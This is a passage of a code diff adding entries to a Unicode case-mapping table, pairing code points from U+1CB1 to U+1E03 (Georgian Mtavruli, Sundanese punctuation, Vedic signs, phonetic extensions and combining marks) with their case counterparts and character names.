+ ["\u1CB1", "\u10F1"], /* GEORGIAN MTAVRULI CAPITAL LETTER HE */
+ ["\u1CB2", "\u10F2"], /* GEORGIAN MTAVRULI CAPITAL LETTER HIE */
+ ["\u1CB3", "\u10F3"], /* GEORGIAN MTAVRULI CAPITAL LETTER WE */
+ ["\u1CB4", "\u10F4"], /* GEORGIAN MTAVRULI CAPITAL LETTER HAR */
+ ["\u1CB5", "\u10F5"], /* GEORGIAN MTAVRULI CAPITAL LETTER HOE */
+ ["\u1CB6", "\u10F6"], /* GEORGIAN MTAVRULI CAPITAL LETTER FI */
+ ["\u1CB7", "\u10F7"], /* GEORGIAN MTAVRULI CAPITAL LETTER YN */
+ ["\u1CB8", "\u10F8"], /* GEORGIAN MTAVRULI CAPITAL LETTER ELIFI */
+ ["\u1CB9", "\u10F9"], /* GEORGIAN MTAVRULI CAPITAL LETTER TURNED GAN */
+ ["\u1CBA", "\u10FA"], /* GEORGIAN MTAVRULI CAPITAL LETTER AIN */
+ ["\u1CBB", "\u1CBB"],
+ ["\u1CBC", "\u1CBC"],
+ ["\u1CBD", "\u10FD"], /* GEORGIAN MTAVRULI CAPITAL LETTER AEN */
+ ["\u1CBE", "\u10FE"], /* GEORGIAN MTAVRULI CAPITAL LETTER HARD SIGN */
+ ["\u1CBF", "\u10FF"], /* GEORGIAN MTAVRULI CAPITAL LETTER LABIAL SIGN */
+ ["\u1CC0", "\u1CC0"], /* SUNDANESE PUNCTUATION BINDU SURYA */
+ ["\u1CC1", "\u1CC1"], /* SUNDANESE PUNCTUATION BINDU PANGLONG */
+ ["\u1CC2", "\u1CC2"], /* SUNDANESE PUNCTUATION BINDU PURNAMA */
+ ["\u1CC3", "\u1CC3"], /* SUNDANESE PUNCTUATION BINDU CAKRA */
+ ["\u1CC4", "\u1CC4"], /* SUNDANESE PUNCTUATION BINDU LEU SATANGA */
+ ["\u1CC5", "\u1CC5"], /* SUNDANESE PUNCTUATION BINDU KA SATANGA */
+ ["\u1CC6", "\u1CC6"], /* SUNDANESE PUNCTUATION BINDU DA SATANGA */
+ ["\u1CC7", "\u1CC7"], /* SUNDANESE PUNCTUATION BINDU BA SATANGA */
+ ["\u1CC8", "\u1CC8"],
+ ["\u1CC9", "\u1CC9"],
+ ["\u1CCA", "\u1CCA"],
+ ["\u1CCB", "\u1CCB"],
+ ["\u1CCC", "\u1CCC"],
+ ["\u1CCD", "\u1CCD"],
+ ["\u1CCE", "\u1CCE"],
+ ["\u1CCF", "\u1CCF"],
+ ["\u1CD0", "\u1CD0"], /* VEDIC TONE KARSHANA */
+ ["\u1CD1", "\u1CD1"], /* VEDIC TONE SHARA */
+ ["\u1CD2", "\u1CD2"], /* VEDIC TONE PRENKHA */
+ ["\u1CD3", "\u1CD3"], /* VEDIC SIGN NIHSHVASA */
+ ["\u1CD4", "\u1CD4"], /* VEDIC SIGN YAJURVEDIC MIDLINE SVARITA */
+ ["\u1CD5", "\u1CD5"], /* VEDIC TONE YAJURVEDIC AGGRAVATED INDEPENDENT SVARITA */
+ ["\u1CD6", "\u1CD6"], /* VEDIC TONE YAJURVEDIC INDEPENDENT SVARITA */
+ ["\u1CD7", "\u1CD7"], /* VEDIC TONE YAJURVEDIC KATHAKA INDEPENDENT SVARITA */
+ ["\u1CD8", "\u1CD8"], /* VEDIC TONE CANDRA BELOW */
+ ["\u1CD9", "\u1CD9"], /* VEDIC TONE YAJURVEDIC KATHAKA INDEPENDENT SVARITA SCHROEDER */
+ ["\u1CDA", "\u1CDA"], /* VEDIC TONE DOUBLE SVARITA */
+ ["\u1CDB", "\u1CDB"], /* VEDIC TONE TRIPLE SVARITA */
+ ["\u1CDC", "\u1CDC"], /* VEDIC TONE KATHAKA ANUDATTA */
+ ["\u1CDD", "\u1CDD"], /* VEDIC TONE DOT BELOW */
+ ["\u1CDE", "\u1CDE"], /* VEDIC TONE TWO DOTS BELOW */
+ ["\u1CDF", "\u1CDF"], /* VEDIC TONE THREE DOTS BELOW */
+ ["\u1CE0", "\u1CE0"], /* VEDIC TONE RIGVEDIC KASHMIRI INDEPENDENT SVARITA */
+ ["\u1CE1", "\u1CE1"], /* VEDIC TONE ATHARVAVEDIC INDEPENDENT SVARITA */
+ ["\u1CE2", "\u1CE2"], /* VEDIC SIGN VISARGA SVARITA */
+ ["\u1CE3", "\u1CE3"], /* VEDIC SIGN VISARGA UDATTA */
+ ["\u1CE4", "\u1CE4"], /* VEDIC SIGN REVERSED VISARGA UDATTA */
+ ["\u1CE5", "\u1CE5"], /* VEDIC SIGN VISARGA ANUDATTA */
+ ["\u1CE6", "\u1CE6"], /* VEDIC SIGN REVERSED VISARGA ANUDATTA */
+ ["\u1CE7", "\u1CE7"], /* VEDIC SIGN VISARGA UDATTA WITH TAIL */
+ ["\u1CE8", "\u1CE8"], /* VEDIC SIGN VISARGA ANUDATTA WITH TAIL */
+ ["\u1CE9", "\u1CE9"], /* VEDIC SIGN ANUSVARA ANTARGOMUKHA */
+ ["\u1CEA", "\u1CEA"], /* VEDIC SIGN ANUSVARA BAHIRGOMUKHA */
+ ["\u1CEB", "\u1CEB"], /* VEDIC SIGN ANUSVARA VAMAGOMUKHA */
+ ["\u1CEC", "\u1CEC"], /* VEDIC SIGN ANUSVARA VAMAGOMUKHA WITH TAIL */
+ ["\u1CED", "\u1CED"], /* VEDIC SIGN TIRYAK */
+ ["\u1CEE", "\u1CEE"], /* VEDIC SIGN HEXIFORM LONG ANUSVARA */
+ ["\u1CEF", "\u1CEF"], /* VEDIC SIGN LONG ANUSVARA */
+ ["\u1CF0", "\u1CF0"], /* VEDIC SIGN RTHANG LONG ANUSVARA */
+ ["\u1CF1", "\u1CF1"], /* VEDIC SIGN ANUSVARA UBHAYATO MUKHA */
+ ["\u1CF2", "\u1CF2"], /* VEDIC SIGN ARDHAVISARGA */
+ ["\u1CF3", "\u1CF3"], /* VEDIC SIGN ROTATED ARDHAVISARGA */
+ ["\u1CF4", "\u1CF4"], /* VEDIC TONE CANDRA ABOVE */
+ ["\u1CF5", "\u1CF5"], /* VEDIC SIGN JIHVAMULIYA */
+ ["\u1CF6", "\u1CF6"], /* VEDIC SIGN UPADHMANIYA */
+ ["\u1CF7", "\u1CF7"], /* VEDIC SIGN ATIKRAMA */
+ ["\u1CF8", "\u1CF8"], /* VEDIC TONE RING ABOVE */
+ ["\u1CF9", "\u1CF9"], /* VEDIC TONE DOUBLE RING ABOVE */
+ ["\u1CFA", "\u1CFA"], /* VEDIC SIGN DOUBLE ANUSVARA ANTARGOMUKHA */
+ ["\u1CFB", "\u1CFB"],
+ ["\u1CFC", "\u1CFC"],
+ ["\u1CFD", "\u1CFD"],
+ ["\u1CFE", "\u1CFE"],
+ ["\u1CFF", "\u1CFF"],
+ ["\u1D00", "\u1D00"], /* LATIN LETTER SMALL CAPITAL A */
+ ["\u1D01", "\u1D01"], /* LATIN LETTER SMALL CAPITAL AE */
+ ["\u1D02", "\u1D02"], /* LATIN SMALL LETTER TURNED AE */
+ ["\u1D03", "\u1D03"], /* LATIN LETTER SMALL CAPITAL BARRED B */
+ ["\u1D04", "\u1D04"], /* LATIN LETTER SMALL CAPITAL C */
+ ["\u1D05", "\u1D05"], /* LATIN LETTER SMALL CAPITAL D */
+ ["\u1D06", "\u1D06"], /* LATIN LETTER SMALL CAPITAL ETH */
+ ["\u1D07", "\u1D07"], /* LATIN LETTER SMALL CAPITAL E */
+ ["\u1D08", "\u1D08"], /* LATIN SMALL LETTER TURNED OPEN E */
+ ["\u1D09", "\u1D09"], /* LATIN SMALL LETTER TURNED I */
+ ["\u1D0A", "\u1D0A"], /* LATIN LETTER SMALL CAPITAL J */
+ ["\u1D0B", "\u1D0B"], /* LATIN LETTER SMALL CAPITAL K */
+ ["\u1D0C", "\u1D0C"], /* LATIN LETTER SMALL CAPITAL L WITH STROKE */
+ ["\u1D0D", "\u1D0D"], /* LATIN LETTER SMALL CAPITAL M */
+ ["\u1D0E", "\u1D0E"], /* LATIN LETTER SMALL CAPITAL REVERSED N */
+ ["\u1D0F", "\u1D0F"], /* LATIN LETTER SMALL CAPITAL O */
+ ["\u1D10", "\u1D10"], /* LATIN LETTER SMALL CAPITAL OPEN O */
+ ["\u1D11", "\u1D11"], /* LATIN SMALL LETTER SIDEWAYS O */
+ ["\u1D12", "\u1D12"], /* LATIN SMALL LETTER SIDEWAYS OPEN O */
+ ["\u1D13", "\u1D13"], /* LATIN SMALL LETTER SIDEWAYS O WITH STROKE */
+ ["\u1D14", "\u1D14"], /* LATIN SMALL LETTER TURNED OE */
+ ["\u1D15", "\u1D15"], /* LATIN LETTER SMALL CAPITAL OU */
+ ["\u1D16", "\u1D16"], /* LATIN SMALL LETTER TOP HALF O */
+ ["\u1D17", "\u1D17"], /* LATIN SMALL LETTER BOTTOM HALF O */
+ ["\u1D18", "\u1D18"], /* LATIN LETTER SMALL CAPITAL P */
+ ["\u1D19", "\u1D19"], /* LATIN LETTER SMALL CAPITAL REVERSED R */
+ ["\u1D1A", "\u1D1A"], /* LATIN LETTER SMALL CAPITAL TURNED R */
+ ["\u1D1B", "\u1D1B"], /* LATIN LETTER SMALL CAPITAL T */
+ ["\u1D1C", "\u1D1C"], /* LATIN LETTER SMALL CAPITAL U */
+ ["\u1D1D", "\u1D1D"], /* LATIN SMALL LETTER SIDEWAYS U */
+ ["\u1D1E", "\u1D1E"], /* LATIN SMALL LETTER SIDEWAYS DIAERESIZED U */
+ ["\u1D1F", "\u1D1F"], /* LATIN SMALL LETTER SIDEWAYS TURNED M */
+ ["\u1D20", "\u1D20"], /* LATIN LETTER SMALL CAPITAL V */
+ ["\u1D21", "\u1D21"], /* LATIN LETTER SMALL CAPITAL W */
+ ["\u1D22", "\u1D22"], /* LATIN LETTER SMALL CAPITAL Z */
+ ["\u1D23", "\u1D23"], /* LATIN LETTER SMALL CAPITAL EZH */
+ ["\u1D24", "\u1D24"], /* LATIN LETTER VOICED LARYNGEAL SPIRANT */
+ ["\u1D25", "\u1D25"], /* LATIN LETTER AIN */
+ ["\u1D26", "\u1D26"], /* GREEK LETTER SMALL CAPITAL GAMMA */
+ ["\u1D27", "\u1D27"], /* GREEK LETTER SMALL CAPITAL LAMDA */
+ ["\u1D28", "\u1D28"], /* GREEK LETTER SMALL CAPITAL PI */
+ ["\u1D29", "\u1D29"], /* GREEK LETTER SMALL CAPITAL RHO */
+ ["\u1D2A", "\u1D2A"], /* GREEK LETTER SMALL CAPITAL PSI */
+ ["\u1D2B", "\u1D2B"], /* CYRILLIC LETTER SMALL CAPITAL EL */
+ ["\u1D2C", "\u1D2C"], /* MODIFIER LETTER CAPITAL A */
+ ["\u1D2D", "\u1D2D"], /* MODIFIER LETTER CAPITAL AE */
+ ["\u1D2E", "\u1D2E"], /* MODIFIER LETTER CAPITAL B */
+ ["\u1D2F", "\u1D2F"], /* MODIFIER LETTER CAPITAL BARRED B */
+ ["\u1D30", "\u1D30"], /* MODIFIER LETTER CAPITAL D */
+ ["\u1D31", "\u1D31"], /* MODIFIER LETTER CAPITAL E */
+ ["\u1D32", "\u1D32"], /* MODIFIER LETTER CAPITAL REVERSED E */
+ ["\u1D33", "\u1D33"], /* MODIFIER LETTER CAPITAL G */
+ ["\u1D34", "\u1D34"], /* MODIFIER LETTER CAPITAL H */
+ ["\u1D35", "\u1D35"], /* MODIFIER LETTER CAPITAL I */
+ ["\u1D36", "\u1D36"], /* MODIFIER LETTER CAPITAL J */
+ ["\u1D37", "\u1D37"], /* MODIFIER LETTER CAPITAL K */
+ ["\u1D38", "\u1D38"], /* MODIFIER LETTER CAPITAL L */
+ ["\u1D39", "\u1D39"], /* MODIFIER LETTER CAPITAL M */
+ ["\u1D3A", "\u1D3A"], /* MODIFIER LETTER CAPITAL N */
+ ["\u1D3B", "\u1D3B"], /* MODIFIER LETTER CAPITAL REVERSED N */
+ ["\u1D3C", "\u1D3C"], /* MODIFIER LETTER CAPITAL O */
+ ["\u1D3D", "\u1D3D"], /* MODIFIER LETTER CAPITAL OU */
+ ["\u1D3E", "\u1D3E"], /* MODIFIER LETTER CAPITAL P */
+ ["\u1D3F", "\u1D3F"], /* MODIFIER LETTER CAPITAL R */
+ ["\u1D40", "\u1D40"], /* MODIFIER LETTER CAPITAL T */
+ ["\u1D41", "\u1D41"], /* MODIFIER LETTER CAPITAL U */
+ ["\u1D42", "\u1D42"], /* MODIFIER LETTER CAPITAL W */
+ ["\u1D43", "\u1D43"], /* MODIFIER LETTER SMALL A */
+ ["\u1D44", "\u1D44"], /* MODIFIER LETTER SMALL TURNED A */
+ ["\u1D45", "\u1D45"], /* MODIFIER LETTER SMALL ALPHA */
+ ["\u1D46", "\u1D46"], /* MODIFIER LETTER SMALL TURNED AE */
+ ["\u1D47", "\u1D47"], /* MODIFIER LETTER SMALL B */
+ ["\u1D48", "\u1D48"], /* MODIFIER LETTER SMALL D */
+ ["\u1D49", "\u1D49"], /* MODIFIER LETTER SMALL E */
+ ["\u1D4A", "\u1D4A"], /* MODIFIER LETTER SMALL SCHWA */
+ ["\u1D4B", "\u1D4B"], /* MODIFIER LETTER SMALL OPEN E */
+ ["\u1D4C", "\u1D4C"], /* MODIFIER LETTER SMALL TURNED OPEN E */
+ ["\u1D4D", "\u1D4D"], /* MODIFIER LETTER SMALL G */
+ ["\u1D4E", "\u1D4E"], /* MODIFIER LETTER SMALL TURNED I */
+ ["\u1D4F", "\u1D4F"], /* MODIFIER LETTER SMALL K */
+ ["\u1D50", "\u1D50"], /* MODIFIER LETTER SMALL M */
+ ["\u1D51", "\u1D51"], /* MODIFIER LETTER SMALL ENG */
+ ["\u1D52", "\u1D52"], /* MODIFIER LETTER SMALL O */
+ ["\u1D53", "\u1D53"], /* MODIFIER LETTER SMALL OPEN O */
+ ["\u1D54", "\u1D54"], /* MODIFIER LETTER SMALL TOP HALF O */
+ ["\u1D55", "\u1D55"], /* MODIFIER LETTER SMALL BOTTOM HALF O */
+ ["\u1D56", "\u1D56"], /* MODIFIER LETTER SMALL P */
+ ["\u1D57", "\u1D57"], /* MODIFIER LETTER SMALL T */
+ ["\u1D58", "\u1D58"], /* MODIFIER LETTER SMALL U */
+ ["\u1D59", "\u1D59"], /* MODIFIER LETTER SMALL SIDEWAYS U */
+ ["\u1D5A", "\u1D5A"], /* MODIFIER LETTER SMALL TURNED M */
+ ["\u1D5B", "\u1D5B"], /* MODIFIER LETTER SMALL V */
+ ["\u1D5C", "\u1D5C"], /* MODIFIER LETTER SMALL AIN */
+ ["\u1D5D", "\u1D5D"], /* MODIFIER LETTER SMALL BETA */
+ ["\u1D5E", "\u1D5E"], /* MODIFIER LETTER SMALL GREEK GAMMA */
+ ["\u1D5F", "\u1D5F"], /* MODIFIER LETTER SMALL DELTA */
+ ["\u1D60", "\u1D60"], /* MODIFIER LETTER SMALL GREEK PHI */
+ ["\u1D61", "\u1D61"], /* MODIFIER LETTER SMALL CHI */
+ ["\u1D62", "\u1D62"], /* LATIN SUBSCRIPT SMALL LETTER I */
+ ["\u1D63", "\u1D63"], /* LATIN SUBSCRIPT SMALL LETTER R */
+ ["\u1D64", "\u1D64"], /* LATIN SUBSCRIPT SMALL LETTER U */
+ ["\u1D65", "\u1D65"], /* LATIN SUBSCRIPT SMALL LETTER V */
+ ["\u1D66", "\u1D66"], /* GREEK SUBSCRIPT SMALL LETTER BETA */
+ ["\u1D67", "\u1D67"], /* GREEK SUBSCRIPT SMALL LETTER GAMMA */
+ ["\u1D68", "\u1D68"], /* GREEK SUBSCRIPT SMALL LETTER RHO */
+ ["\u1D69", "\u1D69"], /* GREEK SUBSCRIPT SMALL LETTER PHI */
+ ["\u1D6A", "\u1D6A"], /* GREEK SUBSCRIPT SMALL LETTER CHI */
+ ["\u1D6B", "\u1D6B"], /* LATIN SMALL LETTER UE */
+ ["\u1D6C", "\u1D6C"], /* LATIN SMALL LETTER B WITH MIDDLE TILDE */
+ ["\u1D6D", "\u1D6D"], /* LATIN SMALL LETTER D WITH MIDDLE TILDE */
+ ["\u1D6E", "\u1D6E"], /* LATIN SMALL LETTER F WITH MIDDLE TILDE */
+ ["\u1D6F", "\u1D6F"], /* LATIN SMALL LETTER M WITH MIDDLE TILDE */
+ ["\u1D70", "\u1D70"], /* LATIN SMALL LETTER N WITH MIDDLE TILDE */
+ ["\u1D71", "\u1D71"], /* LATIN SMALL LETTER P WITH MIDDLE TILDE */
+ ["\u1D72", "\u1D72"], /* LATIN SMALL LETTER R WITH MIDDLE TILDE */
+ ["\u1D73", "\u1D73"], /* LATIN SMALL LETTER R WITH FISHHOOK AND MIDDLE TILDE */
+ ["\u1D74", "\u1D74"], /* LATIN SMALL LETTER S WITH MIDDLE TILDE */
+ ["\u1D75", "\u1D75"], /* LATIN SMALL LETTER T WITH MIDDLE TILDE */
+ ["\u1D76", "\u1D76"], /* LATIN SMALL LETTER Z WITH MIDDLE TILDE */
+ ["\u1D77", "\u1D77"], /* LATIN SMALL LETTER TURNED G */
+ ["\u1D78", "\u1D78"], /* MODIFIER LETTER CYRILLIC EN */
+ ["\uA77D", "\u1D79"], /* LATIN SMALL LETTER INSULAR G */
+ ["\u1D7A", "\u1D7A"], /* LATIN SMALL LETTER TH WITH STRIKETHROUGH */
+ ["\u1D7B", "\u1D7B"], /* LATIN SMALL CAPITAL LETTER I WITH STROKE */
+ ["\u1D7C", "\u1D7C"], /* LATIN SMALL LETTER IOTA WITH STROKE */
+ ["\u2C63", "\u1D7D"], /* LATIN SMALL LETTER P WITH STROKE */
+ ["\u1D7E", "\u1D7E"], /* LATIN SMALL CAPITAL LETTER U WITH STROKE */
+ ["\u1D7F", "\u1D7F"], /* LATIN SMALL LETTER UPSILON WITH STROKE */
+ ["\u1D80", "\u1D80"], /* LATIN SMALL LETTER B WITH PALATAL HOOK */
+ ["\u1D81", "\u1D81"], /* LATIN SMALL LETTER D WITH PALATAL HOOK */
+ ["\u1D82", "\u1D82"], /* LATIN SMALL LETTER F WITH PALATAL HOOK */
+ ["\u1D83", "\u1D83"], /* LATIN SMALL LETTER G WITH PALATAL HOOK */
+ ["\u1D84", "\u1D84"], /* LATIN SMALL LETTER K WITH PALATAL HOOK */
+ ["\u1D85", "\u1D85"], /* LATIN SMALL LETTER L WITH PALATAL HOOK */
+ ["\u1D86", "\u1D86"], /* LATIN SMALL LETTER M WITH PALATAL HOOK */
+ ["\u1D87", "\u1D87"], /* LATIN SMALL LETTER N WITH PALATAL HOOK */
+ ["\u1D88", "\u1D88"], /* LATIN SMALL LETTER P WITH PALATAL HOOK */
+ ["\u1D89", "\u1D89"], /* LATIN SMALL LETTER R WITH PALATAL HOOK */
+ ["\u1D8A", "\u1D8A"], /* LATIN SMALL LETTER S WITH PALATAL HOOK */
+ ["\u1D8B", "\u1D8B"], /* LATIN SMALL LETTER ESH WITH PALATAL HOOK */
+ ["\u1D8C", "\u1D8C"], /* LATIN SMALL LETTER V WITH PALATAL HOOK */
+ ["\u1D8D", "\u1D8D"], /* LATIN SMALL LETTER X WITH PALATAL HOOK */
+ ["\uA7C6", "\u1D8E"], /* LATIN SMALL LETTER Z WITH PALATAL HOOK */
+ ["\u1D8F", "\u1D8F"], /* LATIN SMALL LETTER A WITH RETROFLEX HOOK */
+ ["\u1D90", "\u1D90"], /* LATIN SMALL LETTER ALPHA WITH RETROFLEX HOOK */
+ ["\u1D91", "\u1D91"], /* LATIN SMALL LETTER D WITH HOOK AND TAIL */
+ ["\u1D92", "\u1D92"], /* LATIN SMALL LETTER E WITH RETROFLEX HOOK */
+ ["\u1D93", "\u1D93"], /* LATIN SMALL LETTER OPEN E WITH RETROFLEX HOOK */
+ ["\u1D94", "\u1D94"], /* LATIN SMALL LETTER REVERSED OPEN E WITH RETROFLEX HOOK */
+ ["\u1D95", "\u1D95"], /* LATIN SMALL LETTER SCHWA WITH RETROFLEX HOOK */
+ ["\u1D96", "\u1D96"], /* LATIN SMALL LETTER I WITH RETROFLEX HOOK */
+ ["\u1D97", "\u1D97"], /* LATIN SMALL LETTER OPEN O WITH RETROFLEX HOOK */
+ ["\u1D98", "\u1D98"], /* LATIN SMALL LETTER ESH WITH RETROFLEX HOOK */
+ ["\u1D99", "\u1D99"], /* LATIN SMALL LETTER U WITH RETROFLEX HOOK */
+ ["\u1D9A", "\u1D9A"], /* LATIN SMALL LETTER EZH WITH RETROFLEX HOOK */
+ ["\u1D9B", "\u1D9B"], /* MODIFIER LETTER SMALL TURNED ALPHA */
+ ["\u1D9C", "\u1D9C"], /* MODIFIER LETTER SMALL C */
+ ["\u1D9D", "\u1D9D"], /* MODIFIER LETTER SMALL C WITH CURL */
+ ["\u1D9E", "\u1D9E"], /* MODIFIER LETTER SMALL ETH */
+ ["\u1D9F", "\u1D9F"], /* MODIFIER LETTER SMALL REVERSED OPEN E */
+ ["\u1DA0", "\u1DA0"], /* MODIFIER LETTER SMALL F */
+ ["\u1DA1", "\u1DA1"], /* MODIFIER LETTER SMALL DOTLESS J WITH STROKE */
+ ["\u1DA2", "\u1DA2"], /* MODIFIER LETTER SMALL SCRIPT G */
+ ["\u1DA3", "\u1DA3"], /* MODIFIER LETTER SMALL TURNED H */
+ ["\u1DA4", "\u1DA4"], /* MODIFIER LETTER SMALL I WITH STROKE */
+ ["\u1DA5", "\u1DA5"], /* MODIFIER LETTER SMALL IOTA */
+ ["\u1DA6", "\u1DA6"], /* MODIFIER LETTER SMALL CAPITAL I */
+ ["\u1DA7", "\u1DA7"], /* MODIFIER LETTER SMALL CAPITAL I WITH STROKE */
+ ["\u1DA8", "\u1DA8"], /* MODIFIER LETTER SMALL J WITH CROSSED-TAIL */
+ ["\u1DA9", "\u1DA9"], /* MODIFIER LETTER SMALL L WITH RETROFLEX HOOK */
+ ["\u1DAA", "\u1DAA"], /* MODIFIER LETTER SMALL L WITH PALATAL HOOK */
+ ["\u1DAB", "\u1DAB"], /* MODIFIER LETTER SMALL CAPITAL L */
+ ["\u1DAC", "\u1DAC"], /* MODIFIER LETTER SMALL M WITH HOOK */
+ ["\u1DAD", "\u1DAD"], /* MODIFIER LETTER SMALL TURNED M WITH LONG LEG */
+ ["\u1DAE", "\u1DAE"], /* MODIFIER LETTER SMALL N WITH LEFT HOOK */
+ ["\u1DAF", "\u1DAF"], /* MODIFIER LETTER SMALL N WITH RETROFLEX HOOK */
+ ["\u1DB0", "\u1DB0"], /* MODIFIER LETTER SMALL CAPITAL N */
+ ["\u1DB1", "\u1DB1"], /* MODIFIER LETTER SMALL BARRED O */
+ ["\u1DB2", "\u1DB2"], /* MODIFIER LETTER SMALL PHI */
+ ["\u1DB3", "\u1DB3"], /* MODIFIER LETTER SMALL S WITH HOOK */
+ ["\u1DB4", "\u1DB4"], /* MODIFIER LETTER SMALL ESH */
+ ["\u1DB5", "\u1DB5"], /* MODIFIER LETTER SMALL T WITH PALATAL HOOK */
+ ["\u1DB6", "\u1DB6"], /* MODIFIER LETTER SMALL U BAR */
+ ["\u1DB7", "\u1DB7"], /* MODIFIER LETTER SMALL UPSILON */
+ ["\u1DB8", "\u1DB8"], /* MODIFIER LETTER SMALL CAPITAL U */
+ ["\u1DB9", "\u1DB9"], /* MODIFIER LETTER SMALL V WITH HOOK */
+ ["\u1DBA", "\u1DBA"], /* MODIFIER LETTER SMALL TURNED V */
+ ["\u1DBB", "\u1DBB"], /* MODIFIER LETTER SMALL Z */
+ ["\u1DBC", "\u1DBC"], /* MODIFIER LETTER SMALL Z WITH RETROFLEX HOOK */
+ ["\u1DBD", "\u1DBD"], /* MODIFIER LETTER SMALL Z WITH CURL */
+ ["\u1DBE", "\u1DBE"], /* MODIFIER LETTER SMALL EZH */
+ ["\u1DBF", "\u1DBF"], /* MODIFIER LETTER SMALL THETA */
+ ["\u1DC0", "\u1DC0"], /* COMBINING DOTTED GRAVE ACCENT */
+ ["\u1DC1", "\u1DC1"], /* COMBINING DOTTED ACUTE ACCENT */
+ ["\u1DC2", "\u1DC2"], /* COMBINING SNAKE BELOW */
+ ["\u1DC3", "\u1DC3"], /* COMBINING SUSPENSION MARK */
+ ["\u1DC4", "\u1DC4"], /* COMBINING MACRON-ACUTE */
+ ["\u1DC5", "\u1DC5"], /* COMBINING GRAVE-MACRON */
+ ["\u1DC6", "\u1DC6"], /* COMBINING MACRON-GRAVE */
+ ["\u1DC7", "\u1DC7"], /* COMBINING ACUTE-MACRON */
+ ["\u1DC8", "\u1DC8"], /* COMBINING GRAVE-ACUTE-GRAVE */
+ ["\u1DC9", "\u1DC9"], /* COMBINING ACUTE-GRAVE-ACUTE */
+ ["\u1DCA", "\u1DCA"], /* COMBINING LATIN SMALL LETTER R BELOW */
+ ["\u1DCB", "\u1DCB"], /* COMBINING BREVE-MACRON */
+ ["\u1DCC", "\u1DCC"], /* COMBINING MACRON-BREVE */
+ ["\u1DCD", "\u1DCD"], /* COMBINING DOUBLE CIRCUMFLEX ABOVE */
+ ["\u1DCE", "\u1DCE"], /* COMBINING OGONEK ABOVE */
+ ["\u1DCF", "\u1DCF"], /* COMBINING ZIGZAG BELOW */
+ ["\u1DD0", "\u1DD0"], /* COMBINING IS BELOW */
+ ["\u1DD1", "\u1DD1"], /* COMBINING UR ABOVE */
+ ["\u1DD2", "\u1DD2"], /* COMBINING US ABOVE */
+ ["\u1DD3", "\u1DD3"], /* COMBINING LATIN SMALL LETTER FLATTENED OPEN A ABOVE */
+ ["\u1DD4", "\u1DD4"], /* COMBINING LATIN SMALL LETTER AE */
+ ["\u1DD5", "\u1DD5"], /* COMBINING LATIN SMALL LETTER AO */
+ ["\u1DD6", "\u1DD6"], /* COMBINING LATIN SMALL LETTER AV */
+ ["\u1DD7", "\u1DD7"], /* COMBINING LATIN SMALL LETTER C CEDILLA */
+ ["\u1DD8", "\u1DD8"], /* COMBINING LATIN SMALL LETTER INSULAR D */
+ ["\u1DD9", "\u1DD9"], /* COMBINING LATIN SMALL LETTER ETH */
+ ["\u1DDA", "\u1DDA"], /* COMBINING LATIN SMALL LETTER G */
+ ["\u1DDB", "\u1DDB"], /* COMBINING LATIN LETTER SMALL CAPITAL G */
+ ["\u1DDC", "\u1DDC"], /* COMBINING LATIN SMALL LETTER K */
+ ["\u1DDD", "\u1DDD"], /* COMBINING LATIN SMALL LETTER L */
+ ["\u1DDE", "\u1DDE"], /* COMBINING LATIN LETTER SMALL CAPITAL L */
+ ["\u1DDF", "\u1DDF"], /* COMBINING LATIN LETTER SMALL CAPITAL M */
+ ["\u1DE0", "\u1DE0"], /* COMBINING LATIN SMALL LETTER N */
+ ["\u1DE1", "\u1DE1"], /* COMBINING LATIN LETTER SMALL CAPITAL N */
+ ["\u1DE2", "\u1DE2"], /* COMBINING LATIN LETTER SMALL CAPITAL R */
+ ["\u1DE3", "\u1DE3"], /* COMBINING LATIN SMALL LETTER R ROTUNDA */
+ ["\u1DE4", "\u1DE4"], /* COMBINING LATIN SMALL LETTER S */
+ ["\u1DE5", "\u1DE5"], /* COMBINING LATIN SMALL LETTER LONG S */
+ ["\u1DE6", "\u1DE6"], /* COMBINING LATIN SMALL LETTER Z */
+ ["\u1DE7", "\u1DE7"], /* COMBINING LATIN SMALL LETTER ALPHA */
+ ["\u1DE8", "\u1DE8"], /* COMBINING LATIN SMALL LETTER B */
+ ["\u1DE9", "\u1DE9"], /* COMBINING LATIN SMALL LETTER BETA */
+ ["\u1DEA", "\u1DEA"], /* COMBINING LATIN SMALL LETTER SCHWA */
+ ["\u1DEB", "\u1DEB"], /* COMBINING LATIN SMALL LETTER F */
+ ["\u1DEC", "\u1DEC"], /* COMBINING LATIN SMALL LETTER L WITH DOUBLE MIDDLE TILDE */
+ ["\u1DED", "\u1DED"], /* COMBINING LATIN SMALL LETTER O WITH LIGHT CENTRALIZATION STROKE */
+ ["\u1DEE", "\u1DEE"], /* COMBINING LATIN SMALL LETTER P */
+ ["\u1DEF", "\u1DEF"], /* COMBINING LATIN SMALL LETTER ESH */
+ ["\u1DF0", "\u1DF0"], /* COMBINING LATIN SMALL LETTER U WITH LIGHT CENTRALIZATION STROKE */
+ ["\u1DF1", "\u1DF1"], /* COMBINING LATIN SMALL LETTER W */
+ ["\u1DF2", "\u1DF2"], /* COMBINING LATIN SMALL LETTER A WITH DIAERESIS */
+ ["\u1DF3", "\u1DF3"], /* COMBINING LATIN SMALL LETTER O WITH DIAERESIS */
+ ["\u1DF4", "\u1DF4"], /* COMBINING LATIN SMALL LETTER U WITH DIAERESIS */
+ ["\u1DF5", "\u1DF5"], /* COMBINING UP TACK ABOVE */
+ ["\u1DF6", "\u1DF6"], /* COMBINING KAVYKA ABOVE RIGHT */
+ ["\u1DF7", "\u1DF7"], /* COMBINING KAVYKA ABOVE LEFT */
+ ["\u1DF8", "\u1DF8"], /* COMBINING DOT ABOVE LEFT */
+ ["\u1DF9", "\u1DF9"], /* COMBINING WIDE INVERTED BRIDGE BELOW */
+ ["\u1DFA", "\u1DFA"],
+ ["\u1DFB", "\u1DFB"], /* COMBINING DELETION MARK */
+ ["\u1DFC", "\u1DFC"], /* COMBINING DOUBLE INVERTED BREVE BELOW */
+ ["\u1DFD", "\u1DFD"], /* COMBINING ALMOST EQUAL TO BELOW */
+ ["\u1DFE", "\u1DFE"], /* COMBINING LEFT ARROWHEAD ABOVE */
+ ["\u1DFF", "\u1DFF"], /* COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW */
+ ["\u1E00", "\u1E01"], /* LATIN CAPITAL LETTER A WITH RING BELOW */
+ ["\u1E00", "\u1E01"], /* LATIN SMALL LETTER A WITH RING BELOW */
+ ["\u1E02", "\u1E03"], /* LATIN CAPITAL LETTER B WITH DOT ABOVE */
+ ["\u1E02", "\u1E03"], /* LATIN SMALL LETTER B WITH DOT ABOVE */
